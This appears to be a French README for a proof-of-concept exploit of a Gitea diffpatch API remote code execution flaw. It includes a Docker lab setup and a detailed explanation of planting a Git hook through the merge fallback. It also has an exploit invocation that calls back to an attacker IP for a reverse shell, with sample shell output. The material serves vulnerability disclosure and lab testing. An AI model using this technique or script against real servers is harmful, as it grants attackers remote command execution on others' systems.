
Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 est une vulnérabilité d'exécution de code à distance (RCE) dans Gitea. L'API
diffpatchapplique un patch fourni avecgit apply --cached, qui ne devrait toucher que l'index et ne jamais écrire de fichiers sur le disque. En envoyant le même patch deux fois, un attaquant force une collision add/add qui déclenche le repli de fusion à trois points (-3) de Git. Ce chemin ignore--cachedet extrait le fichier dans l'arbre de travail. Comme le clone temporaire est bare, la racine de son arbre de travail est$GIT_DIR. Un patch qui crée unhooks/post-index-changeexécutable place donc un hook Git actif, que Git exécute automatiquement lors de la prochaine mise à jour de l'index — exécutant des commandes avec le compte de service Gitea. Le point de terminaison nécessite un accès en écriture au dépôt, mais l'inscription est activée par défaut, donc tout utilisateur capable de s'inscrire et de créer un dépôt peut y accéder.
| Catégorie | Version |
|---|---|
| Vulnérable | Gitea 1.17 ≤ version ≤ 1.27.0 |
| Corrigée | Gitea 1.27.1 ou ultérieure |
git)Construisez et exécutez l'environnement Gitea vulnérable. L'inscription reste ouverte et le
serveur est livré avec Git 2.32+, ce qui active le repli -3 sur lequel repose l'attaque.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Précondition | État dans ce laboratoire |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ sur le serveur (active -3) | 2.54 |
| Inscription ouverte | activée (par défaut) |
| Accès en écriture au dépôt | via un compte auto-inscrit |
L'exploit est entièrement automatisé par gitea_exploit.py. Avec un compte capable de
créer un dépôt, il crée le dépôt cible, soumet le même patch
à plusieurs reprises jusqu'à ce que le repli -3 de Git se déclenche, et capture le reverse shell avec un
écouteur intégré — aucune configuration manuelle, création de patch ou calcul de hachage de blob nécessaire.
# python3 gitea_exploit.py <ip:cible port> <ip de rappel> [port de rappel]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Le repli -3 ne se déclenche que dans certaines fenêtres temporelles, donc le script boucle
créer → envoyer → envoyer jusqu'à ce qu'il capture (25 tentatives par défaut). Lorsqu'un envoi bloque,
le hook s'est déclenché et l'écouteur vous dépose dans un shell en tant que git :
[*] tentative 3/25 -> envoi#1 201, envoi#2 timeout <- BLOQUÉ (déclenché !)
[+] shell depuis 172.17.0.2:53344 -- tapez des commandes, Ctrl-C pour quitter
uid=1000(git) gid=1000(git) groups=1000(git)
Options :
--no-listen — capturez le shell avec votre propre nc externe au lieu de l'écouteur intégré--user / --pw / --repo / --branch — remplacez le compte et le dépôt cible par défautDISABLE_REGISTRATION=true)